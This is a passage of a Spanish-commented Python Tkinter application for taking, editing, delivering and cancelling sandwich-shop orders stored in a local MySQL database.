SQL para obtener la cadena de productos\r\n cursor.execute(\"SELECT Productos FROM ProductosSeleccionados WHERE id_pedido = %s\", (id_pedido,))\r\n productos_json = cursor.fetchone() # Obtiene la cadena JSON\r\n\r\n cursor.close()\r\n conexion.close()\r\n\r\n if productos_json:\r\n # Parsea la cadena JSON en una lista de productos\r\n productos_seleccionados = json.loads(productos_json[0])\r\n\r\n # Llena el ListBox con los productos\r\n productos_seleccionados_listbox.delete(0, tk.END)\r\n for producto in productos_seleccionados:\r\n productos_seleccionados_listbox.insert(tk.END, producto)\r\n else:\r\n # Maneja el caso en el que no se encontraron productos para el id_pedido\r\n productos_seleccionados_listbox.delete(0, tk.END)\r\n productos_seleccionados_listbox.insert(tk.END, \"No se encontraron productos\")\r\n \r\n\r\ndef actualizar_lista_productos():\r\n productos_seleccionados_listbox.delete(0, tk.END)\r\n for producto in productos_seleccionados:\r\n productos_seleccionados_listbox.insert(tk.END, producto)\r\n\r\ndef agregar_producto(nombre_producto):\r\n if nombre_producto in productos_seleccionados:\r\n # Si el producto ya está en la lista, verifica si tiene precio x2\r\n for i, producto in enumerate(productos_seleccionados):\r\n if producto == nombre_producto:\r\n precio_x1, precio_x2 = productos_precios.get(nombre_producto, (0.0, 0.0))\r\n cantidad = int(producto.split(\" x\")[1]) if \" x\" in producto else 1\r\n if cantidad < 2 and precio_x2:\r\n productos_seleccionados[i] = f\"{nombre_producto} x2\"\r\n else:\r\n if cantidad == 1 and precio_x2 == \"\":\r\n productos_seleccionados.append(nombre_producto)\r\n break\r\n else:\r\n # Si el producto no está en la lista, verifica si tiene precio x2\r\n precio_x1, precio_x2 = productos_precios.get(nombre_producto, (0.0, 0.0))\r\n if precio_x1:\r\n productos_seleccionados.append(nombre_producto)\r\n elif precio_x2:\r\n productos_seleccionados.append(f\"{nombre_producto} x2\")\r\n else:\r\n productos_seleccionados.append(nombre_producto) # Agregarlo sin \"x2\"\r\n\r\n actualizar_lista_productos()\r\n\r\ndef entregar_pedido(id_pedido):\r\n try:\r\n # Conectarse a la base de datos\r\n connection = mysql.connector.connect(\r\n host='localhost',\r\n user='root',\r\n password='',\r\n database='Lomiteria'\r\n )\r\n \r\n # Crear un cursor\r\n cursor = connection.cursor()\r\n \r\n # Actualizar el estado del pedido a True\r\n update_query = \"UPDATE Pedido SET entregado = 1 WHERE id_pedido = %s\"\r\n cursor.execute(update_query, (id_pedido,))\r\n \r\n # Confirmar la transacción\r\n connection.commit()\r\n \r\n print(f\"El pedido con ID {id_pedido} ha sido entregado.\")\r\n \r\n except mysql.connector.Error as error:\r\n print(f\"Error al entregar el pedido: {error}\")\r\n \r\n finally:\r\n # Cerrar el cursor y la conexión\r\n if cursor:\r\n cursor.close()\r\n if connection:\r\n connection.close() \r\n\r\n for pedido in pedidos_pendientes:\r\n if pedido[0] == id_pedido:\r\n pedidos_pendientes.remove(pedido)\r\n print(f\"Pedido con ID {id_pedido} ha sido eliminado de la lista de pedidos pendientes.\")\r\n break\r\n\r\ndef cancelar_pedido(id_pedido):\r\n try:\r\n # Conectarse a la base de datos\r\n connection = mysql.connector.connect(\r\n host='localhost',\r\n user='root',\r\n password='',\r\n database='lomiteria'\r\n )\r\n\r\n # Crear un cursor\r\n cursor = connection.cursor()\r\n\r\n # Actualizar el estado de cancelación del pedido a True\r\n update_query = \"UPDATE Pedido SET cancelado = 1 WHERE id_pedido = %s\"\r\n cursor.execute(update_query, (id_pedido,))\r\n\r\n # Confirmar la transacción\r\n connection.commit()\r\n\r\n print(f\"El pedido con ID {id_pedido} ha sido cancelado.\")\r\n\r\n except mysql.connector.Error as error:\r\n print(f\"Error al cancelar el pedido: {error}\")\r\n\r\n finally:\r\n # Cerrar el cursor y la conexión\r\n if cursor:\r\n cursor.close()\r\n if connection:\r\n connection.close()\r\n \r\n for pedido in pedidos_pendientes:\r\n if pedido[0] == id_pedido:\r\n pedidos_pendientes.remove(pedido)\r\n print(f\"Pedido con ID {id_pedido} ha sido eliminado de la lista de pedidos pendientes.\")\r\n break\r\n\r\ndef traer_tipos(id_pedido):\r\n try:\r\n # Conecta a la base de datos\r\n db = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n \r\n cursor = db.cursor()\r\n \r\n # Realiza una consulta para obtener los datos de los pedidos\r\n cursor.execute(\"SELECT entrada.nombre, consumo.nombre, entrega.nombre FROM pedido p inner join tipoentrada entrada on entrada.id_tipo_entrada = p.id_tipo_entrada inner join modoconsumo consumo on consumo.id_modo_consumo = p.id_modo_consumo inner join tipoentrega entrega on entrega.id_tipo_entrega = p.id_tipo_entrega WHERE p.id_pedido = %s \", (id_pedido,))\r\n \r\n # Recupera todos los registros de la consulta\r\n tipos = cursor.fetchall()\r\n\r\n except mysql.connector.Error as error:\r\n print(f\"Error al cargar pedidos: {error}\")\r\n\r\n finally:\r\n cursor.close()\r\n db.close()\r\n return tipos\r\n\r\n\r\n\r\ndef llenar_formulario(id_pedido):\r\n global tipo_entrada, modo_consumo, tipo_entrega, nombre, descripcion, direccion, telefono, medio_pago, id_pedido_existente\r\n id_pedido_existente = id_pedido\r\n tipos = traer_tipos(id_pedido)\r\n for pedido in pedidos:\r\n if id_pedido == pedido[0]:\r\n\r\n tipo_entrada = tipos[0][0] # Tipo de entrada\r\n \r\n modo_consumo = tipos[0][1] # Modo de consumo\r\n\r\n tipo_entrega = tipos[0][2] # Modo de entrega\r\n\r\n\r\n nombre = pedido[1] # Nombre del cliente\r\n\r\n descripcion = pedido[2] # Descripción\r\n\r\n direccion= pedido[7] # Dirección\r\n \r\n telefono = pedido[8] # Teléfono\r\n\r\n medio_pago = pedido[9] # Medio de pago\r\n\r\ndef mostrar_campos_local(event=None):\r\n tipo_entrada = tipo_entrada_combo.get()\r\n tipo_entrega = modo_entrega_combo.get()\r\n modo_consumo = modo_consumo_combo.get()\r\n\r\n if tipo_entrada != \"Local\":\r\n # Mostrar nombre\r\n modo_consumo_combo.config(state=\"normal\")\r\n modo_consumo_combo.set(\"Fuera del local\")\r\n modo_consumo = modo_consumo_combo.get()\r\n modo_consumo_combo.config(state=\"disabled\")\r\n nombre_cliente_label.grid(row=4, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n nombre_cliente_entry.grid(row=4, column=1, sticky=\"w\", padx=(5, 10), pady=(10, 0))\r\n else:\r\n # Ocultar nombre\r\n nombre_cliente_label.grid_remove()\r\n nombre_cliente_entry.grid_remove()\r\n\r\n if tipo_entrega == \"Delivery\":\r\n # Mostrar dirección y teléfono\r\n modo_consumo_combo.config(state=\"normal\")\r\n modo_consumo_combo.set(\"Fuera del local\")\r\n modo_consumo = modo_consumo_combo.get()\r\n modo_consumo_combo.config(state=\"disabled\")\r\n telefono_label.grid(row=5, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n telefono_entry.grid(row=5, column=1, sticky=\"w\", padx=(5, 10))\r\n direccion_label.grid(row=6, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n direccion_entry.grid(row=6, column=1, sticky=\"w\", padx=(5, 10))\r\n else:\r\n # Ocultar dirección y teléfono\r\n telefono_label.grid_remove()\r\n telefono_entry.grid_remove()\r\n telefono_entry.delete(0, \"end\")\r\n direccion_label.grid_remove()\r\n direccion_entry.grid_remove()\r\n direccion_entry.delete(0, \"end\")\r\n \r\n if tipo_entrada != \"Local\":\r\n # Mostrar el ComboBox de \"Tipo de Entrega\"\r\n modo_entrega_label.grid(row=3, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n modo_entrega_combo.grid(row=3, column=1, sticky=\"w\", padx=(5, 10), pady=(10, 0))\r\n\r\n if modo_consumo == \"Mesa\":\r\n modo_entrega_combo.set(\"\")\r\n modo_entrega_label.grid_remove()\r\n modo_entrega_combo.grid_remove()\r\n else:\r\n modo_entrega_label.grid(row=3, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n modo_entrega_combo.grid(row=3, column=1, sticky=\"w\", padx=(5, 10), pady=(10, 0))\r\n\r\n\r\n if tipo_entrada == \"Local\":\r\n\r\n modo_consumo_combo.config(state=\"readonly\")\r\n modo_entrega_combo.set(\"Retira en local\")\r\n telefono_label.grid_remove()\r\n telefono_entry.grid_remove()\r\n telefono_entry.delete(0, \"end\")\r\n direccion_label.grid_remove()\r\n direccion_entry.grid_remove()\r\n direccion_entry.delete(0, \"end\")\r\n\r\n\r\n\r\n\r\n# Función para manejar la selección del botón\r\ndef seleccionar_entrada(button, seleccion):\r\n global entrada_seleccionada\r\n if button[\"bg\"] != \"orange\":\r\n for btn in botones_entrada:\r\n btn.config(bg=\"white\")\r\n button.config(bg=\"orange\")\r\n entrada_seleccionada = seleccion\r\n else:\r\n button.config(bg=\"white\")\r\n entrada_seleccionada = None\r\n habilitar_continuar()\r\n \r\ndef seleccionar_entrega(button, seleccion):\r\n global entrega_seleccionada\r\n if button[\"bg\"] != \"orange\":\r\n for btn in botones_entrega:\r\n btn.config(bg=\"white\")\r\n button.config(bg=\"orange\")\r\n entrega_seleccionada = seleccion\r\n else:\r\n button.config(bg=\"white\")\r\n entrega_seleccionada = None\r\n habilitar_continuar()\r\n\r\ndef habilitar_continuar():\r\n if entrega_seleccionada and entrada_seleccionada:\r\n continuar_button.config(state=\"normal\")\r\n else:\r\n continuar_button.config(state=\"disabled\")\r\n\r\ndef crear_celda(ventana, row, column, all_columns, color, padx, pady, width=200, height=30, op=0, sticky=\"\"):\r\n if op == 0:\r\n screen_width = ventana.winfo_screenwidth()\r\n width = (screen_width-((padx[0] + padx[1])*all_columns))/all_columns\r\n celda = tk.Frame(ventana, width=width,height=height, bg=color)#,borderwidth=1, relief='solid'\r\n celda.grid(row=row, column=column, pady=pady, padx=padx, sticky=sticky)\r\n return celda\r\n\r\n\r\ndef eliminar_widgets(ventana):\r\n for widget in ventana.winfo_children():\r\n widget.destroy()\r\n\r\ndef limpiar_variables():\r\n global entrega_seleccionada, entrada_seleccionada\r\n productos_seleccionados.clear()\r\n entrega_seleccionada = None\r\n entrada_seleccionada = None\r\n\r\n\r\ndef menu_pedido(ventana):\r\n global botones_entrada, botones_entrega, continuar_button\r\n ventana.config(bg= blanco)\r\n eliminar_widgets(ventana)\r\n screen_width = ventana.winfo_screenwidth()\r\n\r\n for row in range(6):\r\n for column in range(5):\r\n crear_celda(ventana, row, column, all_columns=5 , color=blanco, padx=(10,10), pady=(20,10), sticky=\"ns\")\r\n ventana.rowconfigure(row, weight=1) # Expande la fila \r\n ventana.columnconfigure(column, weight=1) # Expande la columna \r\n\r\n title_lab = tk.Label(ventana, text=\"Tipo de entrada\", font=(\"Gill Sans MT\", 32), bg=blanco)\r\n title_lab.grid(row=0,column=0,columnspan=5, pady=(0,10), ipady=30)\r\n\r\n entrada_frame = tk.Frame(ventana, bg=\"#a1c2f7\")\r\n entrada_frame.grid(row=1, column=0,columnspan=5, sticky=\"nsew\", padx=20, pady=50, ipady=100)\r\n\r\n entrada_frame.grid_rowconfigure(0, weight=1)\r\n entrada_frame.grid_columnconfigure(0, weight=1)\r\n entrada_frame.grid_columnconfigure(1, weight=1)\r\n entrada_frame.grid_columnconfigure(2, weight=1)\r\n entrada_frame.grid_columnconfigure(3, weight=1)\r\n entrada_frame.grid_columnconfigure(4, weight=1)\r\n\r\n barra_b = tk.Button(entrada_frame, cursor=\"hand2\", text=\"Local\", width=10, font=(\"Gill Sans MT\", 20), relief=\"solid\", borderwidth=2, command=lambda:seleccionar_entrada(barra_b,\"Local\"))\r\n barra_b.grid(column=0,row=0)\r\n\r\n telefono_b = tk.Button(entrada_frame, cursor=\"hand2\", text=\"Telefono\", width=10, font=(\"Gill Sans MT\", 20), relief=\"solid\", borderwidth=2, command=lambda:seleccionar_entrada(telefono_b,\"Teléfono\"))\r\n telefono_b.grid(column=1,row=0)\r\n\r\n whatsapp_b = tk.Button(entrada_frame, cursor=\"hand2\", text=\"Whatsapp\", width=10, font=(\"Gill Sans MT\", 20), relief=\"solid\", borderwidth=2, command=lambda:seleccionar_entrada(whatsapp_b,\"Whatsapp\"))\r\n whatsapp_b.grid(column=2,row=0)\r\n\r\n rappi_b = tk.Button(entrada_frame, cursor=\"hand2\", text=\"Rappi\", width=10, font=(\"Gill Sans MT\", 20), relief=\"solid\", borderwidth=2, command=lambda:seleccionar_entrada(rappi_b,\"Rappi\"))\r\n rappi_b.grid(column=3,row=0)\r\n \r\n pedidosya_b = tk.Button(entrada_frame, cursor=\"hand2\", text=\"Pedidos ya\", width=10, font=(\"Gill Sans MT\", 20), borderwidth=2, relief=\"solid\", command=lambda:seleccionar_entrada(pedidosya_b,\"Pedidos ya\"))\r\n pedidosya_b.grid(column=4,row=0)\r\n\r\n botones_entrada = [barra_b,telefono_b,whatsapp_b,rappi_b,pedidosya_b]\r\n\r\n title_lab2 = tk.Label(ventana, text=\"Tipo de entrega\", font=(\"Gill Sans MT\", 32), bg=blanco)\r\n title_lab2.grid(row=2,column=0,columnspan=5, pady=(0,10), ipady=30)\r\n\r\n entrega_frame = tk.Frame(ventana, bg=\"#a1c2f7\")\r\n entrega_frame.grid(row=3, column=0,columnspan=5, sticky=\"nsew\", padx=20, pady=50, ipady=100)\r\n\r\n entrega_frame.grid_rowconfigure(0, weight=1)\r\n entrega_frame.grid_columnconfigure(0, weight=1)\r\n entrega_frame.grid_columnconfigure(1, weight=1)\r\n entrega_frame.grid_columnconfigure(2, weight=1)\r\n entrega_frame.grid_columnconfigure(3, weight=1)\r\n entrega_frame.grid_columnconfigure(4, weight=1)\r\n\r\n local_button = tk.Button(entrega_frame, cursor=\"hand2\", width=10, text=\"Local\", borderwidth=2, font=(\"Gill Sans MT\", 20), relief=\"solid\", command=lambda:seleccionar_entrega(local_button,\"Retira en local\"))\r\n local_button.grid(column=1,row=0, columnspan=2)\r\n\r\n delivery_button = tk.Button(entrega_frame, cursor=\"hand2\", width=10, text=\"Delivery\", borderwidth=2, font=(\"Gill Sans MT\", 20), relief=\"solid\", command=lambda:seleccionar_entrega(delivery_button,\"Delivery\"))\r\n delivery_button.grid(column=2,row=0, columnspan=2)\r\n\r\n botones_entrega = [local_button, delivery_button]\r\n\r\n regresar_button = tk.Button(ventana, cursor=\"hand2\", width=10, text=\"Regresar\", bg=\"#e87e72\", borderwidth=2, font=(\"Gill Sans MT\", 20), relief=\"solid\", command=lambda:[limpiar_variables(),ventana.destroy(),create_window(0)])\r\n regresar_button.grid(column=0,row=4, ipady=20)\r\n\r\n continuar_button = tk.Button(ventana, cursor=\"hand2\", state=\"disabled\", width=10, text=\"Continuar\", bg=\"#a5e872\", borderwidth=2, font=(\"Gill Sans MT\", 20), relief=\"solid\", command=lambda: menu_pedido2(ventana))\r\n continuar_button.grid(column=4, row=4, ipady=20)\r\n\r\ndef menu_pedido2(ventana, op=0):\r\n global productos_seleccionados_listbox, productos_precios, tipo_entrada_combo, modo_consumo_combo, modo_entrega_combo, nombre_cliente_entry, telefono_entry, direccion_entry, descripcion_text, medio_pago_combo, telefono_label, direccion_label, modo_entrega_label, nombre_cliente_label\r\n \r\n eliminar_widgets(ventana)\r\n for row in range(10):\r\n for column in range(5):\r\n crear_celda(ventana, row, column, all_columns=5 , color=blanco, padx=(10,10), pady=(20,10), sticky=\"ns\")\r\n ventana.rowconfigure(row, weight=1) # Expande la fila \r\n ventana.columnconfigure(column, weight=1) # Expande la columna \r\n\r\n form = tk.Frame(ventana, relief=\"solid\", bg=blanco, borderwidth=3)\r\n form.grid(row=0,column=3,sticky=\"nsew\", columnspan=2, rowspan=10, padx=(0,20), pady=20)\r\n\r\n for row in range(12):\r\n for column in range(3):\r\n crear_celda(form, row, column, all_columns=3 , color=blanco, padx=(10,10), pady=(20,10), sticky=\"ns\", op=1, width=260)\r\n ventana.rowconfigure(row, weight=1) # Expande la fila \r\n ventana.columnconfigure(column, weight=1) # Expande la columna \r\n\r\n\r\n form_title = tk.Label(form, bg=blanco, text=\"Pedido\", font=(\"Gill Sans MT\", 24))\r\n form_title.grid(row=0,column=0, sticky=\"w\")\r\n\r\n tipo_entrada_label = tk.Label(form, bg=blanco, text=\"Tipo de entrada:\", font=(\"Gill Sans MT\", 16))\r\n tipo_entrada_label.grid(row=1, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n\r\n tipo_entrada_values = [\"Local\", \"Teléfono\", \"Whatsapp\", \"Pedidos Ya\", \"Rappi\"]\r\n tipo_entrada_combo = ttk.Combobox(form, values=tipo_entrada_values, font=(\"Gill Sans MT\", 16))\r\n tipo_entrada_combo.grid(row=1, column=1, sticky=\"w\", padx=(5, 10), pady=(10, 0))\r\n tipo_entrada_combo.set(tipo_entrada_values[0]) # Establecer un valor predeterminado\r\n tipo_entrada_combo.config(state=\"readonly\")\r\n\r\n # Asociar el evento al ComboBox\r\n tipo_entrada_combo.bind(\"\", mostrar_campos_local)\r\n\r\n tipo_entrada_combo.bind(\"<>\", mostrar_campos_local)\r\n\r\n modo_consumo_label = tk.Label(form, bg=blanco, text=\"Modo de consumo:\", font=(\"Gill Sans MT\", 16))\r\n modo_consumo_label.grid(row=2, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n\r\n # Usar un ComboBox (ttk.Combobox) para el modo de consumo\r\n modo_consumo_values = [\"Mesa\", \"Fuera del local\"]\r\n modo_consumo_combo = ttk.Combobox(form, state='disabled', values=modo_consumo_values, font=(\"Gill Sans MT\", 16))\r\n modo_consumo_combo.grid(row=2, column=1, sticky=\"w\", padx=(5, 10), pady=(10, 0))\r\n\r\n modo_consumo_combo.config(state=\"readonly\")\r\n\r\n modo_consumo_combo.bind(\"\", mostrar_campos_local)\r\n\r\n modo_consumo_combo.bind(\"<>\", mostrar_campos_local)\r\n\r\n modo_entrega_label = tk.Label(form, bg=blanco, text=\"Modo de entrega:\", font=(\"Gill Sans MT\", 16))\r\n \r\n # Usar un ComboBox (ttk.Combobox) para el modo de entrega\r\n modo_entrega_values = [\"Delivery\", \"Retira en local\"]\r\n modo_entrega_combo = ttk.Combobox(form, values=modo_entrega_values, font=(\"Gill Sans MT\", 16))\r\n\r\n modo_entrega_combo.bind(\"\", mostrar_campos_local)\r\n\r\n modo_entrega_combo.bind(\"<>\", mostrar_campos_local)\r\n\r\n modo_entrega_combo.config(state=\"readonly\")\r\n\r\n if op == 0:\r\n modo_entrega_combo.set(entrega_seleccionada) # Establece el valor predeterminado (cambia [0] si es otro valor)\r\n tipo_entrada_combo.set(entrada_seleccionada) # Establece el valor predeterminado (cambia [1] si es otro valor)\r\n\r\n # Resto de los campos de entrada\r\n nombre_cliente_label = tk.Label(form, bg=blanco, text=\"Nombre del cliente:\", font=(\"Gill Sans MT\", 16))\r\n nombre_cliente_entry = tk.Entry(form, font=(\"Gill Sans MT\", 16), width=22)\r\n\r\n # Campos de teléfono y dirección (inicialmente ocultos)\r\n telefono_label = tk.Label(form, bg=blanco, text=\"Teléfono:\", font=(\"Gill Sans MT\", 16))\r\n telefono_entry = tk.Entry(form, font=(\"Gill Sans MT\", 16), width=22)\r\n\r\n direccion_label = tk.Label(form, bg=blanco, text=\"Dirección:\", font=(\"Gill Sans MT\", 16))\r\n direccion_entry = tk.Entry(form, font=(\"Gill Sans MT\", 16), width=22)\r\n\r\n producto_label = tk.Label(form, bg=blanco, text=\"Producto/s:\", font=(\"Gill Sans MT\", 16))\r\n producto_label.grid(row=7, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n\r\n productos_seleccionados_listbox = tk.Listbox(form, height=3, width=35, font=(\"Gill Sans MT\", 14))\r\n productos_seleccionados_listbox.grid(row=7, column=1, sticky=\"w\", padx=(5, 0))\r\n\r\n # Agrega un botón para limpiar la Listbox\r\n limpiar_button = tk.Button(form, text=\"Limpiar\", cursor=\"hand2\", font=(\"Gill Sans MT\", 12), command=lambda: [productos_seleccionados.clear(), actualizar_lista_productos(), total_label.config(text=\"Total: $0.00\")])\r\n limpiar_button.grid(row=8, column=1, sticky=\"w\", padx=(5, 0), pady=10)\r\n\r\n descripcion_label = tk.Label(form, bg=blanco, text=\"Descripción:\", font=(\"Gill Sans MT\", 16))\r\n descripcion_label.grid(row=9, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n\r\n descripcion_text = tk.Text(form, font=(\"Gill Sans MT\", 12), width=35, height=2)\r\n descripcion_text.grid(row=9, column=1, sticky=\"w\", padx=(5, 10), pady=(10, 0))\r\n\r\n medio_pago_label = tk.Label(form, bg=blanco, text=\"Medio de pago:\", font=(\"Gill Sans MT\", 16))\r\n medio_pago_label.grid(row=10, column=0, sticky=\"e\", padx=(10, 5), pady=(10, 0))\r\n\r\n # Usar un ComboBox (ttk.Combobox) para el medio de pago\r\n medio_pago_values = [\"Efectivo\", \"Tarjeta de crédito\", \"Tarjeta de débito\"]\r\n medio_pago_combo = ttk.Combobox(form, values=medio_pago_values, font=(\"Gill Sans MT\", 16))\r\n medio_pago_combo.grid(row=10, column=1, sticky=\"w\", padx=(5, 10), pady=(10, 0))\r\n medio_pago_combo.set(medio_pago_values[0]) # Establecer un valor predeterminado\r\n\r\n if op == 1:\r\n\r\n global tipo_entrada, modo_consumo, tipo_entrega, nombre, descripcion, direccion, telefono, medio_pago\r\n \r\n tipo_entrada_combo.set(tipo_entrada) # Tipo de entrada\r\n\r\n modo_consumo_combo.set(modo_consumo) # Modo de consumo\r\n\r\n modo_entrega_combo.set(tipo_entrega) # Modo de entrega\r\n \r\n nombre_cliente_entry.delete(0, \"end\")\r\n nombre_cliente_entry.insert(0, nombre) # Nombre del cliente\r\n\r\n telefono_entry.delete(0, \"end\")\r\n telefono_entry.insert(0, telefono) # Teléfono\r\n\r\n direccion_entry.delete(0, \"end\")\r\n direccion_entry.insert(0, direccion) # Dirección\r\n\r\n descripcion_text.delete(\"1.0\", \"end\")\r\n descripcion_text.insert(\"1.0\", descripcion) # Descripción\r\n\r\n medio_pago_combo.set(medio_pago) # Medio de pago\r\n\r\n def guardar_datos(op):\r\n global id_pedido_existente\r\n\r\n tipo_entrada = tipo_entrada_combo.get()\r\n modo_consumo = modo_consumo_combo.get()\r\n modo_entrega = modo_entrega_combo.get()\r\n nombre_cliente = nombre_cliente_entry.get()\r\n telefono = telefono_entry.get()\r\n direccion = direccion_entry.get()\r\n descripcion = descripcion_text.get(\"1.0\", \"end-1c\") # Obtiene el contenido del campo de descripción\r\n medio_pago = medio_pago_combo.get()\r\n\r\n if op == 0:\r\n modo_entrega = \"Consume en local\"\r\n nombre_cliente = \"N/A\"\r\n telefono = \"N/A\"\r\n direccion = \"N/A\"\r\n\r\n # Verificar que los campos no estén vacíos\r\n if (\r\n not tipo_entrada\r\n or not modo_consumo\r\n or not medio_pago\r\n or productos_seleccionados_listbox.size() == 0\r\n or not modo_entrega\r\n ):\r\n messagebox.showerror(\"Error\", \"Completa todos los campos para registrar el pedido.\")\r\n return\r\n \r\n elif op == 1:\r\n telefono = \"N/A\"\r\n direccion = \"N/A\"\r\n # Verificar que los campos no estén vacíos\r\n if (\r\n not tipo_entrada\r\n or not modo_consumo\r\n or not modo_entrega\r\n or not nombre_cliente\r\n or productos_seleccionados_listbox.size() == 0\r\n or not medio_pago\r\n ):\r\n messagebox.showerror(\"Error\", \"Completa todos los campos para registrar el pedido.\")\r\n return\r\n elif op == 2:\r\n # Verificar que los campos no estén vacíos\r\n if (\r\n not tipo_entrada\r\n or not modo_consumo\r\n or not modo_entrega\r\n or not nombre_cliente\r\n or not telefono\r\n or not direccion\r\n or productos_seleccionados_listbox.size() == 0\r\n or not medio_pago\r\n ):\r\n messagebox.showerror(\"Error\", \"Completa todos los campos para registrar el pedido.\")\r\n return\r\n else:\r\n messagebox.showerror(\"Error\", \"Completa todos los campos para registrar el pedido.\")\r\n return\r\n\r\n if not descripcion:\r\n descripcion=\"N/A\"\r\n\r\n productos = productos_seleccionados_listbox.get(0, tk.END)\r\n productos_divididos = []\r\n\r\n for producto in productos:\r\n # Elimina \"x2\" si está presente en el nombre del producto\r\n if 'x2' in producto:\r\n producto_limpio = producto.replace(' x2', '')\r\n productos_divididos.append(producto_limpio)\r\n productos_divididos.append(producto_limpio)\r\n else:\r\n productos_divididos.append(producto)\r\n\r\n # Conecta a la base de datos (asegúrate de configurar los parámetros de conexión correctamente)\r\n db = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"root\",\r\n password=\"\",\r\n database=\"lomiteria\"\r\n )\r\n\r\n # Crea un cursor\r\n cursor = db.cursor()\r\n\r\n # Consultas SQL para obtener los IDs de las tablas relacionadas\r\n cursor.execute(\"SELECT id_modo_consumo FROM ModoConsumo WHERE nombre = %s\", (modo_consumo,))\r\n id_modo_consumo = cursor.fetchone()[0]\r\n\r\n cursor.execute(\"SELECT id_tipo_entrada FROM TipoEntrada WHERE nombre = %s\", (tipo_entrada,))\r\n id_tipo_entrada = cursor.fetchone()[0]\r\n\r\n cursor.execute(\"SELECT id_tipo_entrega FROM TipoEntrega WHERE nombre = %s\", (modo_entrega,))\r\n id_tipo_entrega = cursor.fetchone()[0]\r\n\r\n if id_pedido_existente is not None:\r\n # Sentencia SQL para actualizar los datos del pedido\r\n update_query = (\r\n \"UPDATE Pedido SET nombre_cliente = %s, total=%s, descripcion = %s, id_modo_consumo = %s, \"\r\n \"id_tipo_entrada = %s, id_tipo_entrega = %s, telefono = %s, direccion = %s, medio_pago = %s WHERE id_pedido = %s\"\r\n )\r\n total, lista = calcular_precio_total()\r\n\r\n # Valores a actualizar en la tabla\r\n values = (nombre_cliente, total, descripcion, id_modo_consumo, id_tipo_entrada, id_tipo_entrega, telefono, direccion, medio_pago, id_pedido_existente)\r\n\r\n try:\r\n # Ejecuta la consulta SQL para actualizar el pedido existente\r\n cursor.execute(update_query, values)\r\n except Exception as e:\r\n print(\"Error al actualizar el pedido en la base de datos:\", str(e))\r\n \r\n id_pedido_existente = None\r\n else:\r\n\r\n\r\n # Sentencia SQL para insertar los datos en la tabla Pedido\r\n insert_query = \"INSERT INTO Pedido (nombre_cliente, descripcion, total, id_modo_consumo, id_tipo_entrada, id_tipo_entrega, telefono, direccion, medio_pago) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\"\r\n\r\n total, lista = calcular_precio_total()\r\n\r\n # Valores a insertar en la tabla\r\n values = (nombre_cliente, descripcion, total, id_modo_consumo, id_tipo_entrada, id_tipo_entrega, telefono, direccion, medio_pago)\r\n\r\n try:\r\n # Ejecuta la consulta SQL\r\n cursor.execute(insert_query, values)\r\n\r\n # Guarda los cambios en la base de datos\r\n db.commit()\r\n\r\n # Obtén el ID del pedido recién insertado\r\n id_pedido = cursor.lastrowid\r\n\r\n except Exception as e:\r\n print(\"Error al insertar en la base de datos:\", str(e))\r\n \r\n # Crea un diccionario para rastrear la cantidad de cada producto\r\n cantidad_productos = {}\r\n\r\n # Recorre la lista de productos\r\n for producto in productos_divididos:\r\n # Consulta SQL para obtener el ID del producto por su nombre\r\n cursor.execute(\"SELECT id_producto FROM Producto WHERE Nombre = %s\", (producto,))\r\n resultado = cursor.fetchone()\r\n\r\n if resultado:\r\n id_producto = resultado[0]\r\n\r\n # Si el producto ya está en el diccionario, aumenta la cantidad en 1\r\n if id_producto in cantidad_productos:\r\n cantidad_productos[id_producto] += 1\r\n else:\r\n cantidad_productos[id_producto] = 1\r\n\r\n # Ahora, inserta los datos en la tabla PedidoxProducto con las cantidades correctas\r\n for id_producto, cantidad in cantidad_productos.items():\r\n # Sentencia SQL para insertar los datos en la tabla PedidoxProducto\r\n insert_query = \"INSERT INTO PedidoxProducto (id_pedido, id_producto, cantidad_producto) VALUES (%s, %s, %s)\"\r\n\r\n # Valores a insertar en la tabla\r\n values = (id_pedido, id_producto, cantidad)\r\n\r\n try:\r\n # Ejecuta la consulta SQL\r\n cursor.execute(insert_query, values)\r\n\r\n \r\n except Exception as e:\r\n print(\"Error al insertar en la tabla PedidoxProducto:\", str(e))\r\n \r\n guardar_productos_seleccionados(id_pedido)\r\n \r\n # Guarda los cambios en la base de datos\r\n db.commit()\r\n\r\n # Cierra la conexión a la base de datos\r\n db.close()\r\n\r\n ventana.destroy()\r\n create_window(1)\r\n\r\n\r\n registrar_button = tk.Button(form, text=\"Registrar\", bg=\"#a5e872\", cursor=\"hand2\", font=(\"Gill Sans MT\", 16), command=lambda:[guardar_datos(obtener_opcion())])\r\n registrar_button.grid(row=11, column=1, sticky=\"e\", padx=(10, 5), pady=10)\r\n\r\n # Botón \"Imprimir\"\r\n imprimir_button = tk.Button(form, text=\"Imprimir\", bg=\"#a1c2f7\", cursor=\"hand2\", font=(\"Gill Sans MT\", 16), command=lambda:generar_pedido(ventana, obtener_opcion()))\r\n imprimir_button.grid(row=11, column=2, sticky=\"w\", padx=(5, 10), pady=10)\r\n\r\n\r\n regresar_button = tk.Button(ventana, cursor=\"hand2\", width=10, text=\"Regresar\", bg=\"#e87e72\", borderwidth=2, font=(\"Gill Sans MT\", 20), relief=\"solid\", command=lambda:[limpiar_variables(), ventana.destroy(),create_window(0)])\r\n regresar_button.grid(column=0,row=9)\r\n\r\n # Crear un Canvas como contenedor\r\n canvas = tk.Canvas(ventana)\r\n canvas.grid(row=0,column=0,sticky=\"nsew\", columnspan=3, rowspan=8, padx=(20,20), pady=(20,0))\r\n\r\n # Crear un Scrollbar a la derecha del Canvas\r\n scrollbar = tk.Scrollbar(ventana, command=canvas.yview)\r\n scrollbar.grid(row=0, column=2, sticky=\"nse\", rowspan=8, pady=(20,0), padx=(0,20)) # Ajuste la columna para colocarlo a la derecha\r\n canvas.configure(yscrollcommand=scrollbar.set)\r\n \r\n\r\n # Crear un Frame dentro del Canvas\r\n productos_frame = 